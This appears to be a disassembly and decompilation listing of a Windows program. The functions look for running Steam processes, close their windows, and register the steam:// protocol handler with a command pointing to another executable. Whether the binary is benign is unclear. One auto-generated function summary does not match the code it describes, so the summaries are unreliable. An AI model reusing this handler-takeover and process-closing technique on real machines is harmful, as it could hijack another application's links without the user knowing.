1400064d6	48 8b 05 63 7b 02 00	MOV RAX,qword ptr [DAT_14002e040]
1400064dd	48 33 c4	XOR RAX,RSP
1400064e0	48 89 84 24 70 02 00 00	MOV qword ptr [RSP + local_28],RAX
1400064e8	4c 8b f2	MOV R14,RDX
1400064eb	8b f9	MOV EDI,ECX
1400064ed	45 33 ff	XOR R15D,R15D
1400064f0	33 d2	XOR EDX,EDX
1400064f2	b9 02 00 00 00	MOV ECX,0x2
1400064f7	41 8b f7	MOV ESI,R15D
1400064fa	ff 15 28 8d 01 00	CALL qword ptr [PTR_CreateToolhelp32Snapshot_14001f228]
140006500	48 8b e8	MOV RBP,RAX
140006503	48 83 f8 ff	CMP RAX,-0x1
140006507	75 0f	JNZ LAB_140006518
140006509	4d 85 f6	TEST R14,R14
14000650c	74 03	JZ LAB_140006511
14000650e	45 89 3e	MOV dword ptr [R14],R15D
LAB_140006511:
140006511	33 c0	XOR EAX,EAX
140006513	e9 23 02 00 00	JMP LAB_14000673b
LAB_140006518:
140006518	33 d2	XOR EDX,EDX
14000651a	48 8d 4c 24 34	LEA RCX,[RSP + 0x34]
14000651f	41 b8 34 02 00 00	MOV R8D,0x234
140006525	e8 16 76 01 00	CALL FUN_14001db40
14000652a	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
14000652f	c7 44 24 30 38 02 00 00	MOV dword ptr [RSP + local_268],0x238
140006537	48 8b cd	MOV RCX,RBP
14000653a	ff 15 20 8d 01 00	CALL qword ptr [PTR_Process32FirstW_14001f260]
140006540	85 c0	TEST EAX,EAX
140006542	0f 84 e0 01 00 00	JZ LAB_140006728
LAB_140006548:
140006548	48 89 9c 24 a0 02 00 00	MOV qword ptr [RSP + local_res8],RBX
LAB_140006550:
140006550	ff 15 32 8d 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140006556	39 44 24 38	CMP dword ptr [RSP + local_260],EAX
14000655a	0f 84 aa 01 00 00	JZ LAB_14000670a
140006560	48 8d 15 b1 34 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
140006567	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
14000656c	e8 db aa 00 00	CALL FID_conflict:_wcsicoll
140006571	85 ff	TEST EDI,EDI
140006573	0f 84 ac 00 00 00	JZ LAB_140006625
140006579	85 c0	TEST EAX,EAX
14000657b	0f 84 d6 00 00 00	JZ LAB_140006657
140006581	48 8d 15 70 36 02 00	LEA RDX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
140006588	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
14000658d	e8 ba aa 00 00	CALL FID_conflict:_wcsicoll
140006592	85 c0	TEST EAX,EAX
140006594	0f 84 bd 00 00 00	JZ LAB_140006657
14000659a	48 8d 15 77 36 02 00	LEA RDX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
1400065a1	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
1400065a6	e8 a1 aa 00 00	CALL FID_conflict:_wcsicoll
1400065ab	85 c0	TEST EAX,EAX
1400065ad	0f 84 a4 00 00 00	JZ LAB_140006657
1400065b3	48 8d 15 7e 36 02 00	LEA RDX,[u_steamwebhelper.exe_140029c38]	; "steamwebhelper.exe"
1400065ba	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
1400065bf	e8 88 aa 00 00	CALL FID_conflict:_wcsicoll
1400065c4	85 c0	TEST EAX,EAX
1400065c6	0f 84 8b 00 00 00	JZ LAB_140006657
1400065cc	48 8d 15 8d 36 02 00	LEA RDX,[u_steamservice.exe_140029c60]	; "steamservice.exe"
1400065d3	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
1400065d8	e8 6f aa 00 00	CALL FID_conflict:_wcsicoll
1400065dd	85 c0	TEST EAX,EAX
1400065df	74 76	JZ LAB_140006657
1400065e1	48 8d 15 a0 36 02 00	LEA RDX,[u_GameOverlayUI.exe_140029c88]	; "GameOverlayUI.exe"
1400065e8	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
1400065ed	e8 5a aa 00 00	CALL FID_conflict:_wcsicoll
1400065f2	85 c0	TEST EAX,EAX
1400065f4	74 61	JZ LAB_140006657
1400065f6	48 8d 15 b3 36 02 00	LEA RDX,[u_steamerrorreporter.exe_140029cb0]	; "steamerrorreporter.exe"
1400065fd	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140006602	e8 45 aa 00 00	CALL FID_conflict:_wcsicoll
140006607	85 c0	TEST EAX,EAX
140006609	74 4c	JZ LAB_140006657
14000660b	48 8d 15 ce 36 02 00	LEA RDX,[u_SteamService.exe_140029ce0]	; "SteamService.exe"
140006612	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140006617	e8 30 aa 00 00	CALL FID_conflict:_wcsicoll
14000661c	85 c0	TEST EAX,EAX
14000661e	74 37	JZ LAB_140006657
140006620	e9 e5 00 00 00	JMP LAB_14000670a
LAB_140006625:
140006625	85 c0	TEST EAX,EAX
140006627	74 2e	JZ LAB_140006657
140006629	48 8d 15 c8 35 02 00	LEA RDX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
140006630	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140006635	e8 12 aa 00 00	CALL FID_conflict:_wcsicoll
14000663a	85 c0	TEST EAX,EAX
14000663c	74 19	JZ LAB_140006657
14000663e	48 8d 15 d3 35 02 00	LEA RDX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
140006645	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
14000664a	e8 fd a9 00 00	CALL FID_conflict:_wcsicoll
14000664f	85 c0	TEST EAX,EAX
140006651	0f 85 b3 00 00 00	JNZ LAB_14000670a
LAB_140006657:
140006657	48 8d 15 ba 33 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
14000665e	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140006663	e8 e4 a9 00 00	CALL FID_conflict:_wcsicoll
140006668	85 c0	TEST EAX,EAX
14000666a	74 2a	JZ LAB_140006696
14000666c	48 8d 15 85 35 02 00	LEA RDX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
140006673	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140006678	e8 cf a9 00 00	CALL FID_conflict:_wcsicoll
14000667d	85 c0	TEST EAX,EAX
14000667f	74 15	JZ LAB_140006696
140006681	48 8d 15 90 35 02 00	LEA RDX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
140006688	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
14000668d	e8 ba a9 00 00	CALL FID_conflict:_wcsicoll
140006692	85 c0	TEST EAX,EAX
140006694	75 74	JNZ LAB_14000670a
LAB_140006696:
140006696	be 01 00 00 00	MOV ESI,0x1
14000669b	85 ff	TEST EDI,EDI
14000669d	74 6b	JZ LAB_14000670a
14000669f	45 33 c9	XOR R9D,R9D
1400066a2	45 33 c0	XOR R8D,R8D
1400066a5	33 d2	XOR EDX,EDX
1400066a7	33 c9	XOR ECX,ECX
1400066a9	ff 15 01 8e 01 00	CALL qword ptr [PTR_FindWindowExW_14001f4b0]
1400066af	48 8b d8	MOV RBX,RAX
1400066b2	48 85 c0	TEST RAX,RAX
1400066b5	74 53	JZ LAB_14000670a
1400066b7	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_1400066c0:
1400066c0	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
1400066c5	44 89 7c 24 20	MOV dword ptr [RSP + local_278],R15D
1400066ca	48 8b cb	MOV RCX,RBX
1400066cd	ff 15 fd 8d 01 00	CALL qword ptr [PTR_GetWindowThreadProcessId_14001f4d0]
1400066d3	8b 44 24 38	MOV EAX,dword ptr [RSP + local_260]
1400066d7	39 44 24 20	CMP dword ptr [RSP + local_278],EAX
1400066db	75 14	JNZ LAB_1400066f1
1400066dd	45 33 c9	XOR R9D,R9D
1400066e0	45 33 c0	XOR R8D,R8D
1400066e3	ba 10 00 00 00	MOV EDX,0x10
1400066e8	48 8b cb	MOV RCX,RBX
1400066eb	ff 15 c7 8d 01 00	CALL qword ptr [PTR_PostMessageW_14001f4b8]
LAB_1400066f1:
1400066f1	45 33 c9	XOR R9D,R9D
1400066f4	45 33 c0	XOR R8D,R8D
1400066f7	48 8b d3	MOV RDX,RBX
1400066fa	33 c9	XOR ECX,ECX
1400066fc	ff 15 ae 8d 01 00	CALL qword ptr [PTR_FindWindowExW_14001f4b0]
140006702	48 8b d8	MOV RBX,RAX
140006705	48 85 c0	TEST RAX,RAX
140006708	75 b6	JNZ LAB_1400066c0
LAB_14000670a:
14000670a	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
14000670f	48 8b cd	MOV RCX,RBP
140006712	ff 15 30 8b 01 00	CALL qword ptr [PTR_Process32NextW_14001f248]
140006718	85 c0	TEST EAX,EAX
14000671a	0f 85 30 fe ff ff	JNZ LAB_140006550
140006720	48 8b 9c 24 a0 02 00 00	MOV RBX,qword ptr [RSP + local_res8]
LAB_140006728:
140006728	48 8b cd	MOV RCX,RBP
14000672b	ff 15 37 8b 01 00	CALL qword ptr [PTR_CloseHandle_14001f268]
140006731	4d 85 f6	TEST R14,R14
140006734	74 03	JZ LAB_140006739
140006736	41 89 36	MOV dword ptr [R14],ESI
LAB_140006739:
140006739	8b c6	MOV EAX,ESI
LAB_14000673b:
14000673b	48 8b 8c 24 70 02 00 00	MOV RCX,qword ptr [RSP + local_28]
140006743	48 33 cc	XOR RCX,RSP
140006746	e8 e5 21 00 00	CALL __security_check_cookie

enumerates processes and checks whether…

0x140006770308 bytes

undefined FUN_140006770(void)

enumerates processes and checks whether specific process names are running

Behaviours: B4
Called from: FUN_140007950
Calls: CreateToolhelp32Snapshot Process32NextW Process32FirstW CloseHandle GetCurrentProcessId __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40

Decompiled C · 38 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140006770(void)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  undefined1 auStack_278 [32];
  undefined4 local_258;
  undefined1 local_254 [4];
  DWORD local_250;
  wchar_t local_22c [266];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_278;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject != (HANDLE)0xffffffffffffffff) {
    FUN_14001db40((undefined1 (*) [32])local_254,0,0x234);
    local_258 = 0x238;
    iVar1 = Process32FirstW(hObject,&local_258);
    while (iVar1 != 0) {
      DVar2 = GetCurrentProcessId();
      if (((local_250 != DVar2) &&
          (((iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.exe"), iVar1 == 0 ||
            (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.orig.exe"), iVar1 == 0)) ||
           (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.live.exe"), iVar1 == 0)))) &&
         ((iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.exe"), iVar1 != 0 &&
          (iVar1 = FID_conflict__wcsicoll(local_22c,L"steam.orig.exe"), iVar1 != 0)))) {
        FID_conflict__wcsicoll(local_22c,L"steam.live.exe");
      }
      iVar1 = Process32NextW(hObject,&local_258);
    }
    CloseHandle(hObject);
  }
}

Assembly · 69 instructions, 6 annotated

Address	Bytes	Instruction	Comment
140006770	48 89 5c 24 08	MOV qword ptr [RSP + local_res8],RBX
140006775	57	PUSH RDI
140006776	48 81 ec 70 02 00 00	SUB RSP,0x270
14000677d	48 8b 05 bc 78 02 00	MOV RAX,qword ptr [DAT_14002e040]
140006784	48 33 c4	XOR RAX,RSP
140006787	48 89 84 24 60 02 00 00	MOV qword ptr [RSP + local_18],RAX
14000678f	33 d2	XOR EDX,EDX
140006791	b9 02 00 00 00	MOV ECX,0x2
140006796	33 db	XOR EBX,EBX
140006798	ff 15 8a 8a 01 00	CALL qword ptr [PTR_CreateToolhelp32Snapshot_14001f228]
14000679e	48 8b f8	MOV RDI,RAX
1400067a1	48 83 f8 ff	CMP RAX,-0x1
1400067a5	0f 84 e7 00 00 00	JZ LAB_140006892
1400067ab	33 d2	XOR EDX,EDX
1400067ad	48 8d 4c 24 24	LEA RCX,[RSP + 0x24]
1400067b2	41 b8 34 02 00 00	MOV R8D,0x234
1400067b8	e8 83 73 01 00	CALL FUN_14001db40
1400067bd	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
1400067c2	c7 44 24 20 38 02 00 00	MOV dword ptr [RSP + local_258],0x238
1400067ca	48 8b cf	MOV RCX,RDI
1400067cd	ff 15 8d 8a 01 00	CALL qword ptr [PTR_Process32FirstW_14001f260]
1400067d3	85 c0	TEST EAX,EAX
1400067d5	0f 84 ae 00 00 00	JZ LAB_140006889
1400067db	0f 1f 44 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_1400067e0:
1400067e0	ff 15 a2 8a 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
1400067e6	39 44 24 28	CMP dword ptr [RSP + local_250],EAX
1400067ea	0f 84 83 00 00 00	JZ LAB_140006873
1400067f0	48 8d 15 21 32 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
1400067f7	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
1400067fc	e8 4b a8 00 00	CALL FID_conflict:_wcsicoll
140006801	85 c0	TEST EAX,EAX
140006803	74 2a	JZ LAB_14000682f
140006805	48 8d 15 ec 33 02 00	LEA RDX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
14000680c	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
140006811	e8 36 a8 00 00	CALL FID_conflict:_wcsicoll
140006816	85 c0	TEST EAX,EAX
140006818	74 15	JZ LAB_14000682f
14000681a	48 8d 15 f7 33 02 00	LEA RDX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
140006821	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
140006826	e8 21 a8 00 00	CALL FID_conflict:_wcsicoll
14000682b	85 c0	TEST EAX,EAX
14000682d	75 44	JNZ LAB_140006873
LAB_14000682f:
14000682f	48 8d 15 e2 31 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
140006836	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
14000683b	e8 0c a8 00 00	CALL FID_conflict:_wcsicoll
140006840	85 c0	TEST EAX,EAX
140006842	74 2a	JZ LAB_14000686e
140006844	48 8d 15 ad 33 02 00	LEA RDX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
14000684b	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
140006850	e8 f7 a7 00 00	CALL FID_conflict:_wcsicoll
140006855	85 c0	TEST EAX,EAX
140006857	74 15	JZ LAB_14000686e
140006859	48 8d 15 b8 33 02 00	LEA RDX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
140006860	48 8d 4c 24 4c	LEA RCX,[RSP + 0x4c]
140006865	e8 e2 a7 00 00	CALL FID_conflict:_wcsicoll
14000686a	85 c0	TEST EAX,EAX
14000686c	75 05	JNZ LAB_140006873
LAB_14000686e:
14000686e	bb 01 00 00 00	MOV EBX,0x1
LAB_140006873:
140006873	48 8d 54 24 20	LEA RDX,[RSP + 0x20]
140006878	48 8b cf	MOV RCX,RDI
14000687b	ff 15 c7 89 01 00	CALL qword ptr [PTR_Process32NextW_14001f248]
140006881	85 c0	TEST EAX,EAX
140006883	0f 85 57 ff ff ff	JNZ LAB_1400067e0
LAB_140006889:
140006889	48 8b cf	MOV RCX,RDI
14000688c	ff 15 d6 89 01 00	CALL qword ptr [PTR_CloseHandle_14001f268]
LAB_140006892:
140006892	8b c3	MOV EAX,EBX
140006894	48 8b 8c 24 60 02 00 00	MOV RCX,qword ptr [RSP + local_18]
14000689c	48 33 cc	XOR RCX,RSP
14000689f	e8 8c 20 00 00	CALL __security_check_cookie

creates registry shell\open\command and…

0x140006950577 bytes

undefined FUN_140006950(HKEY param_1, BYTE * param_2)

creates registry shell\open\command and DefaultIcon entries for a given file association

Behaviours: B3
Called from: FUN_140006d70
Calls: RegCloseKey RegCreateKeyExW RegSetValueExW FUN_140003f60, __security_check_cookie

Decompiled C · 53 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140006950(HKEY param_1,BYTE *param_2)

{
  longlong lVar1;
  LSTATUS LVar2;
  longlong lVar3;
  longlong lVar4;
  undefined1 auStackY_2d8 [32];
  HKEY local_288 [2];
  short local_278 [296];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_2d8;
  FUN_140003f60(local_278,0x124,0x140029d08,param_2);
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,(BYTE *)L"URL:steam protocol",0x26);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    RegSetValueExW(local_288[0],L"URL Protocol",0,1,"",2);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam\\DefaultIcon",0,(LPWSTR)0x0,0,2,
                          (LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  lVar4 = -1;
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_2 + lVar1 + 2) != 0);
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,param_2,(int)lVar3 * 2 + 2);
    RegCloseKey(local_288[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,L"Software\\Classes\\steam\\shell\\open\\command",0,(LPWSTR)0x0,0,
                          2,(LPSECURITY_ATTRIBUTES)0x0,local_288,(LPDWORD)0x0);
  if (LVar2 == 0) {
    do {
      lVar3 = lVar4 + 1;
      lVar4 = lVar4 + 1;
    } while (local_278[lVar3] != 0);
    RegSetValueExW(local_288[0],(LPCWSTR)0x0,0,1,(BYTE *)local_278,(int)lVar4 * 2 + 2);
    RegCloseKey(local_288[0]);
  }
}

Assembly · 123 instructions, 9 annotated

Address	Bytes	Instruction	Comment
140006950	48 89 5c 24 18	MOV qword ptr [RSP + local_res18],RBX
140006955	55	PUSH RBP
140006956	56	PUSH RSI
140006957	57	PUSH RDI
140006958	48 81 ec c0 02 00 00	SUB RSP,0x2c0
14000695f	48 8b 05 da 76 02 00	MOV RAX,qword ptr [DAT_14002e040]
140006966	48 33 c4	XOR RAX,RSP
140006969	48 89 84 24 b0 02 00 00	MOV qword ptr [RSP + local_28],RAX
140006971	48 8b fa	MOV RDI,RDX
140006974	4c 8d 05 8d 33 02 00	LEA R8,[u_"%s"_--_"%%1"_140029d08]	; "\"%s\" -- \"%%1\""
14000697b	48 8b f1	MOV RSI,RCX
14000697e	4c 8b ca	MOV R9,RDX
140006981	ba 24 01 00 00	MOV EDX,0x124
140006986	48 8d 4c 24 60	LEA RCX,[RSP + 0x60]
14000698b	e8 d0 d5 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140006990	33 ed	XOR EBP,EBP
140006992	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006997	48 89 6c 24 40	MOV qword ptr [RSP + local_298],RBP
14000699c	48 8d 15 ad 33 02 00	LEA RDX,[u_Software\Classes\steam_140029d50]	; "Software\\Classes\\steam"
1400069a3	48 89 44 24 38	MOV qword ptr [RSP + local_2a0],RAX
1400069a8	45 33 c9	XOR R9D,R9D
1400069ab	48 89 6c 24 30	MOV qword ptr [RSP + local_2a8],RBP
1400069b0	45 33 c0	XOR R8D,R8D
1400069b3	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_2b0],0x2
1400069bb	48 8b ce	MOV RCX,RSI
1400069be	89 6c 24 20	MOV dword ptr [RSP + local_2b8],EBP
1400069c2	ff 15 78 86 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
1400069c8	85 c0	TEST EAX,EAX
1400069ca	75 35	JNZ LAB_140006a01
1400069cc	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
1400069d1	48 8d 05 50 33 02 00	LEA RAX,[u_URL:steam_protocol_140029d28]	; "URL:steam protocol"
1400069d8	c7 44 24 28 26 00 00 00	MOV dword ptr [RSP + local_2b0],0x26
1400069e0	41 b9 01 00 00 00	MOV R9D,0x1
1400069e6	45 33 c0	XOR R8D,R8D
1400069e9	48 89 44 24 20	MOV qword ptr [RSP + local_2b8],RAX	; "URL:steam protocol"
1400069ee	33 d2	XOR EDX,EDX
1400069f0	ff 15 5a 86 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
1400069f6	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
1400069fb	ff 15 27 86 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006a01:
140006a01	48 89 6c 24 40	MOV qword ptr [RSP + local_298],RBP
140006a06	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006a0b	48 89 44 24 38	MOV qword ptr [RSP + local_2a0],RAX
140006a10	48 8d 15 39 33 02 00	LEA RDX,[u_Software\Classes\steam_140029d50]	; "Software\\Classes\\steam"
140006a17	48 89 6c 24 30	MOV qword ptr [RSP + local_2a8],RBP
140006a1c	45 33 c9	XOR R9D,R9D
140006a1f	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_2b0],0x2
140006a27	45 33 c0	XOR R8D,R8D
140006a2a	48 8b ce	MOV RCX,RSI
140006a2d	89 6c 24 20	MOV dword ptr [RSP + local_2b8],EBP
140006a31	ff 15 09 86 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006a37	85 c0	TEST EAX,EAX
140006a39	75 3a	JNZ LAB_140006a75
140006a3b	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006a40	48 8d 05 25 1d 02 00	LEA RAX,[DAT_14002876c]
140006a47	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_2b0],0x2
140006a4f	48 8d 15 2a 33 02 00	LEA RDX,[u_URL_Protocol_140029d80]	; "URL Protocol"
140006a56	41 b9 01 00 00 00	MOV R9D,0x1
140006a5c	48 89 44 24 20	MOV qword ptr [RSP + local_2b8],RAX
140006a61	45 33 c0	XOR R8D,R8D
140006a64	ff 15 e6 85 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006a6a	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006a6f	ff 15 b3 85 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006a75:
140006a75	48 89 6c 24 40	MOV qword ptr [RSP + local_298],RBP
140006a7a	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006a7f	48 89 44 24 38	MOV qword ptr [RSP + local_2a0],RAX
140006a84	48 8d 15 15 33 02 00	LEA RDX,[u_Software\Classes\steam\DefaultIc_140029da0]	; "Software\\Classes\\steam\\DefaultIcon"
140006a8b	48 89 6c 24 30	MOV qword ptr [RSP + local_2a8],RBP
140006a90	45 33 c9	XOR R9D,R9D
140006a93	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_2b0],0x2
140006a9b	45 33 c0	XOR R8D,R8D
140006a9e	48 8b ce	MOV RCX,RSI
140006aa1	89 6c 24 20	MOV dword ptr [RSP + local_2b8],EBP
140006aa5	ff 15 95 85 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006aab	48 c7 c3 ff ff ff ff	MOV RBX,-0x1
140006ab2	85 c0	TEST EAX,EAX
140006ab4	75 46	JNZ LAB_140006afc
140006ab6	48 8b c3	MOV RAX,RBX
140006ab9	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140006ac0:
140006ac0	66 39 6c 47 02	CMP word ptr [RDI + RAX*0x2 + 0x2],BP
140006ac5	48 8d 40 01	LEA RAX,[RAX + 0x1]
140006ac9	75 f5	JNZ LAB_140006ac0
140006acb	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006ad0	8d 04 45 02 00 00 00	LEA EAX,[0x2 + RAX*0x2]
140006ad7	89 44 24 28	MOV dword ptr [RSP + local_2b0],EAX
140006adb	41 b9 01 00 00 00	MOV R9D,0x1
140006ae1	45 33 c0	XOR R8D,R8D
140006ae4	48 89 7c 24 20	MOV qword ptr [RSP + local_2b8],RDI
140006ae9	33 d2	XOR EDX,EDX
140006aeb	ff 15 5f 85 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006af1	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006af6	ff 15 2c 85 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006afc:
140006afc	48 89 6c 24 40	MOV qword ptr [RSP + local_298],RBP
140006b01	48 8d 44 24 50	LEA RAX,[RSP + 0x50]
140006b06	48 89 44 24 38	MOV qword ptr [RSP + local_2a0],RAX
140006b0b	48 8d 15 de 32 02 00	LEA RDX,[u_Software\Classes\steam\shell\ope_140029df0]	; "Software\\Classes\\steam\\shell\\open\\command"
140006b12	48 89 6c 24 30	MOV qword ptr [RSP + local_2a8],RBP
140006b17	45 33 c9	XOR R9D,R9D
140006b1a	c7 44 24 28 02 00 00 00	MOV dword ptr [RSP + local_2b0],0x2
140006b22	45 33 c0	XOR R8D,R8D
140006b25	48 8b ce	MOV RCX,RSI
140006b28	89 6c 24 20	MOV dword ptr [RSP + local_2b8],EBP
140006b2c	ff 15 0e 85 01 00	CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006b32	85 c0	TEST EAX,EAX
140006b34	75 4b	JNZ LAB_140006b81
140006b36	48 8d 44 24 60	LEA RAX,[RSP + 0x60]
140006b3b	0f 1f 44 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_140006b40:
140006b40	66 39 6c 58 02	CMP word ptr [RAX + RBX*local_278 + 0x2],BP
140006b45	48 8d 5b 01	LEA RBX,[RBX + 0x1]
140006b49	75 f5	JNZ LAB_140006b40
140006b4b	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006b50	8d 04 5d 02 00 00 00	LEA EAX,[0x2 + RBX*0x2]
140006b57	89 44 24 28	MOV dword ptr [RSP + local_2b0],EAX
140006b5b	41 b9 01 00 00 00	MOV R9D,0x1
140006b61	48 8d 44 24 60	LEA RAX,[RSP + 0x60]
140006b66	45 33 c0	XOR R8D,R8D
140006b69	33 d2	XOR EDX,EDX
140006b6b	48 89 44 24 20	MOV qword ptr [RSP + local_2b8],RAX
140006b70	ff 15 da 84 01 00	CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006b76	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_288]
140006b7b	ff 15 a7 84 01 00	CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006b81:
140006b81	48 8b 8c 24 b0 02 00 00	MOV RCX,qword ptr [RSP + local_28]
140006b89	48 33 cc	XOR RCX,RSP
140006b8c	e8 9f 1d 00 00	CALL __security_check_cookie

creates registry entries for…

0x140006bb0445 bytes

undefined FUN_140006bb0(HKEY param_1, LPCWSTR param_2, BYTE * param_3, BYTE * param_4, BYTE * param_5)

creates registry entries for DisplayName, DisplayIcon and UninstallString under a given key

Behaviours: B3
Called from: FUN_140006d70
Calls: RegCloseKey RegCreateKeyExW RegSetValueExW

Decompiled C · 46 lines

void FUN_140006bb0(HKEY param_1,LPCWSTR param_2,BYTE *param_3,BYTE *param_4,BYTE *param_5)

{
  longlong lVar1;
  LSTATUS LVar2;
  longlong lVar3;
  longlong lVar4;
  HKEY local_28 [2];
  
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  lVar4 = -1;
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_3 + lVar1 + 2) != 0);
    RegSetValueExW(local_28[0],L"SteamExe",0,1,param_3,(int)lVar3 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  if (LVar2 == 0) {
    lVar3 = -1;
    do {
      lVar1 = lVar3 * 2;
      lVar3 = lVar3 + 1;
    } while (*(short *)(param_4 + lVar1 + 2) != 0);
    RegSetValueExW(local_28[0],L"SteamPath",0,1,param_4,(int)lVar3 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  LVar2 = RegCreateKeyExW(param_1,param_2,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_28,
                          (LPDWORD)0x0);
  if (LVar2 == 0) {
    do {
      lVar3 = lVar4 * 2;
      lVar4 = lVar4 + 1;
    } while (*(short *)(param_5 + lVar3 + 2) != 0);
    RegSetValueExW(local_28[0],L"InstallPath",0,1,param_5,(int)lVar4 * 2 + 2);
    RegCloseKey(local_28[0]);
  }
  return;
}

Assembly · 104 instructions, 3 annotated

Address	Bytes	Instruction	Comment
140006bb0	4c 8b dc	MOV R11,RSP
140006bb3	49 89 5b 08	MOV qword ptr [R11 + local_res8],RBX
140006bb7	49 89 6b 10	MOV qword ptr [R11 + local_res10],RBP
